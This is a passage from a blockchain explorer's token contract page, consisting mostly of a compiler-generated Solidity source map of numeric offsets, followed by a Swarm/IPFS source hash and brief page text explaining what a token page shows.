;;9673:4;9657:21;;9634:44;9630:300;;;9707:211;9914:3;9707:184;9771:16;;9759:9;;:28;9758:114;;9857:15;;9758:114;;;9816:13;;9707:6;;:28;:184::i;:211::-;9695:223;;9630:300;9954:13;;9950:204;;10029:4;10011:24;;;;:9;:24;;;;;;:71;;10058:9;10011:28;:71::i;:::-;10002:4;9984:24;;;;:9;:24;;;;;;;:98;;;;10102:40;;-1:-1:-1;;;;;10102:40:0;;;;;;;10132:9;1422:25:1;;1410:2;1395:18;;1276:177;10102:40:0;;;;;;;;9950:204;-1:-1:-1;;;;;10184:15:0;;;;;;:9;:15;;;;;;:27;;10204:6;10184:19;:27::i;:::-;-1:-1:-1;;;;;10166:15:0;;;;;;:9;:15;;;;;:45;10238:40;10256:21;:6;10267:9;10256:10;:21::i;:::-;-1:-1:-1;;;;;10238:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10222:13:0;;;;;;;:9;:13;;;;;:56;;;;10294:41;;;10313:21;:6;10324:9;10313:10;:21::i;:::-;10294:41;;1422:25:1;;;1410:2;1395:18;10294:41:0;;;;;;;9404:939;9295:1048;;;:::o;2137:136::-;2195:7;2222:43;2226:1;2229;2222:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2215:50;2137:136;-1:-1:-1;;;2137:136:0:o;1950:179::-;2008:7;;2040:5;2044:1;2040;:5;:::i;:::-;2028:17;;2069:1;2064;:6;;2056:46;;;;-1:-1:-1;;;2056:46:0;;12392:2:1;2056:46:0;;;12374:21:1;12431:2;12411:18;;;12404:30;12470:29;12450:18;;;12443:57;12517:18;;2056:46:0;12190:351:1;8736:310:0;-1:-1:-1;;;;;8820:15:0;;8812:55;;;;-1:-1:-1;;;8812:55:0;;12748:2:1;8812:55:0;;;12730:21:1;12787:2;12767:18;;;12760:30;12826:29;12806:18;;;12799:57;12873:18;;8812:55:0;12546:351:1;8812:55:0;-1:-1:-1;;;;;8886:15:0;;8878:55;;;;-1:-1:-1;;;8878:55:0;;12748:2:1;8878:55:0;;;12730:21:1;12787:2;12767:18;;;12760:30;12826:29;12806:18;;;12799:57;12873:18;;8878:55:0;12546:351:1;8878:55:0;-1:-1:-1;;;;;8944:14:0;;;;;;;:11;:14;;;;;;;;8959:11;;;;;8944:27;;;;;;;;:37;;8975:6;;8944:14;:37;;8975:6;;8944:37;:::i;:::-;;;;-1:-1:-1;;;;;;;;;8992:14:0;;;;;;;:11;:14;;;;;;;;9007:10;;;;;8992:26;;;;;;-1:-1:-1;;8992:46:0;;8736:310::o;12714:107::-;12771:7;12803:1;12799;:5;12798:15;;12812:1;12798:15;;;-1:-1:-1;12808:1:0;12714:107;-1:-1:-1;12714:107:0:o;13611:483::-;5457:6;:13;;-1:-1:-1;;;;5457:13:0;-1:-1:-1;;;5457:13:0;;;13713:16:::1;::::0;;13727:1:::1;13713:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13713:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13713:16:0::1;13689:40;;13758:4;13740;13745:1;13740:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13740:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13784:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13784:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13740:7;;13784:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13774:4;13779:1;13774:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13774:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13849:15:::1;::::0;13817:62:::1;::::0;13834:4:::1;::::0;13849:15:::1;13867:11:::0;13817:8:::1;:62::i;:::-;13890:15;::::0;:196:::1;::::0;-1:-1:-1;;;13890:196:0;;-1:-1:-1;;;;;13890:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13971:11;;13890:15:::1;::::0;14013:4;;14040::::1;::::0;14060:15:::1;::::0;13890:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5493:6:0;:14;;-1:-1:-1;;;;5493:14:0;;;-1:-1:-1;;;;13611:483:0:o;13032:92::-;13089:10;;:27;;-1:-1:-1;;;;;13089:10:0;;;;:27;;;;;13109:6;;13089:10;:27;:10;:27;13109:6;13089:10;:27;;;;;;;;;;;;;;;;;;;2513:246;2571:7;2595:1;2600;2595:6;2591:47;;-1:-1:-1;2625:1:0;2618:8;;2591:47;2648:9;2660:5;2664:1;2660;:5;:::i;:::-;2648:17;-1:-1:-1;2693:1:0;2684:5;2688:1;2648:17;2684:5;:::i;:::-;:10;2676:56;;;;-1:-1:-1;;;2676:56:0;;14290:2:1;2676:56:0;;;14272:21:1;14329:2;14309:18;;;14302:30;14368:34;14348:18;;;14341:62;-1:-1:-1;;;14419:18:1;;;14412:31;14460:19;;2676:56:0;14088:397:1;2767:132:0;2825:7;2852:39;2856:1;2859;2852:39;;;;;;;;;;;;;;;;;3027:7;3062:12;3055:5;3047:28;;;;-1:-1:-1;;;3047:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3086:9:0;3098:5;3102:1;3098;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:134::-;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:367::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1043:2;1028:18;;;;1015:32;;-1:-1:-1;;;712:367:1:o;1458:508::-;1535:6;1543;1551;1604:2;1592:9;1583:7;1579:23;1575:32;1572:52;;;1620:1;1617;1610:12;1572:52;1659:9;1646:23;1678:31;1703:5;1678:31;:::i;:::-;1728:5;-1:-1:-1;1785:2:1;1770:18;;1757:32;1798:33;1757:32;1798:33;:::i;:::-;1458:508;;1850:7;;-1:-1:-1;;;1930:2:1;1915:18;;;;1902:32;;1458:508::o;2160:127::-;2221:10;2216:3;2212:20;2209:1;2202:31;2252:4;2249:1;2242:15;2276:4;2273:1;2266:15;2292:1127;2376:6;2429:2;2417:9;2408:7;2404:23;2400:32;2397:52;;;2445:1;2442;2435:12;2397:52;2485:9;2472:23;2518:18;2510:6;2507:30;2504:50;;;2550:1;2547;2540:12;2504:50;2573:22;;2626:4;2618:13;;2614:27;-1:-1:-1;2604:55:1;;2655:1;2652;2645:12;2604:55;2695:2;2682:16;2721:18;2713:6;2710:30;2707:56;;;2743:18;;:::i;:::-;2789:6;2786:1;2782:14;2825:2;2819:9;2888:2;2884:7;2879:2;2875;2871:11;2867:25;2859:6;2855:38;2959:6;2947:10;2944:22;2923:18;2911:10;2908:34;2905:62;2902:88;;;2970:18;;:::i;:::-;3006:2;2999:22;3056;;;3106:2;3136:11;;;3132:20;;;3056:22;3094:15;;3164:19;;;3161:39;;;3196:1;3193;3186:12;3161:39;3228:2;3224;3220:11;3209:22;;3240:148;3256:6;3251:3;3248:15;3240:148;;;3322:23;3341:3;3322:23;:::i;:::-;3310:36;;3375:2;3273:12;;;;3366;3240:148;;;-1:-1:-1;3407:6:1;2292:1127;-1:-1:-1;;;;;;2292:1127:1:o;3424:247::-;3483:6;3536:2;3524:9;3515:7;3511:23;3507:32;3504:52;;;3552:1;3549;3542:12;3504:52;3591:9;3578:23;3610:31;3635:5;3610:31;:::i;3884:388::-;3952:6;3960;4013:2;4001:9;3992:7;3988:23;3984:32;3981:52;;;4029:1;4026;4019:12;3981:52;4068:9;4055:23;4087:31;4112:5;4087:31;:::i;:::-;4137:5;-1:-1:-1;4194:2:1;4179:18;;4166:32;4207:33;4166:32;4207:33;:::i;:::-;4259:7;4249:17;;;3884:388;;;;;:::o;4277:127::-;4338:10;4333:3;4329:20;4326:1;4319:31;4369:4;4366:1;4359:15;4393:4;4390:1;4383:15;4409:375;4497:1;4515:5;4529:249;4550:1;4540:8;4537:15;4529:249;;;4600:4;4595:3;4591:14;4585:4;4582:24;4579:50;;;4609:18;;:::i;:::-;4659:1;4649:8;4645:16;4642:49;;;4673:16;;;;4642:49;4756:1;4752:16;;;;;4712:15;;4529:249;;;4409:375;;;;;;:::o;4789:902::-;4838:5;4868:8;4858:80;;-1:-1:-1;4909:1:1;4923:5;;4858:80;4957:4;4947:76;;-1:-1:-1;4994:1:1;5008:5;;4947:76;5039:4;5057:1;5052:59;;;;5125:1;5120:174;;;;5032:262;;5052:59;5082:1;5073:10;;5096:5;;;5120:174;5157:3;5147:8;5144:17;5141:43;;;5164:18;;:::i;:::-;-1:-1:-1;;5220:1:1;5206:16;;5279:5;;5032:262;;5378:2;5368:8;5365:16;5359:3;5353:4;5350:13;5346:36;5340:2;5330:8;5327:16;5322:2;5316:4;5313:12;5309:35;5306:77;5303:203;;;-1:-1:-1;5415:19:1;;;5491:5;;5303:203;5538:42;-1:-1:-1;;5563:8:1;5557:4;5538:42;:::i;:::-;5616:6;5612:1;5608:6;5604:19;5595:7;5592:32;5589:58;;;5627:18;;:::i;:::-;5665:20;;4789:902;-1:-1:-1;;;4789:902:1:o;5696:140::-;5754:5;5783:47;5824:4;5814:8;5810:19;5804:4;5783:47;:::i;5841:168::-;5914:9;;;5945;;5962:15;;;5956:22;;5942:37;5932:71;;5983:18;;:::i;6014:356::-;6216:2;6198:21;;;6235:18;;;6228:30;6294:34;6289:2;6274:18;;6267:62;6361:2;6346:18;;6014:356::o;6375:127::-;6436:10;6431:3;6427:20;6424:1;6417:31;6467:4;6464:1;6457:15;6491:4;6488:1;6481:15;6507:251;6577:6;6630:2;6618:9;6609:7;6605:23;6601:32;6598:52;;;6646:1;6643;6636:12;6598:52;6678:9;6672:16;6697:31;6722:5;6697:31;:::i;8028:456::-;8116:6;8124;8132;8185:2;8173:9;8164:7;8160:23;8156:32;8153:52;;;8201:1;8198;8191:12;8153:52;-1:-1:-1;;8246:16:1;;8352:2;8337:18;;8331:25;8448:2;8433:18;;;8427:25;8246:16;;8331:25;;-1:-1:-1;8427:25:1;8028:456;-1:-1:-1;8028:456:1:o;8768:277::-;8835:6;8888:2;8876:9;8867:7;8863:23;8859:32;8856:52;;;8904:1;8901;8894:12;8856:52;8936:9;8930:16;8989:5;8982:13;8975:21;8968:5;8965:32;8955:60;;9011:1;9008;9001:12;11078:128;11145:9;;;11166:11;;;11163:37;;;11180:18;;:::i;11565:125::-;11630:9;;;11651:10;;;11648:36;;;11664:18;;:::i;12050:135::-;12089:3;12110:17;;;12107:43;;12130:18;;:::i;:::-;-1:-1:-1;12177:1:1;12166:13;;12050:135::o;12902:959::-;13164:4;13212:3;13201:9;13197:19;13243:6;13232:9;13225:25;13286:6;13281:2;13270:9;13266:18;13259:34;13329:3;13324:2;13313:9;13309:18;13302:31;13353:6;13388;13382:13;13419:6;13411;13404:22;13457:3;13446:9;13442:19;13435:26;;13496:2;13488:6;13484:15;13470:29;;13517:1;13527:195;13541:6;13538:1;13535:13;13527:195;;;13606:13;;-1:-1:-1;;;;;13602:39:1;13590:52;;13671:2;13697:15;;;;13662:12;;;;13638:1;13556:9;13527:195;;;-1:-1:-1;;;;;;;13778:32:1;;;;13773:2;13758:18;;13751:60;-1:-1:-1;;13842:3:1;13827:19;13820:35;13739:3;12902:959;-1:-1:-1;;;12902:959:1:o;13866:217::-;13906:1;13932;13922:132;;13976:10;13971:3;13967:20;13964:1;13957:31;14011:4;14008:1;14001:15;14039:4;14036:1;14029:15;13922:132;-1:-1:-1;14068:9:1;;13866:217::o

Swarm Source

ipfs://ceafdcc0add27c5343d7d8de91c736b16cea4263f8c4b575cdeddee417be8817
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.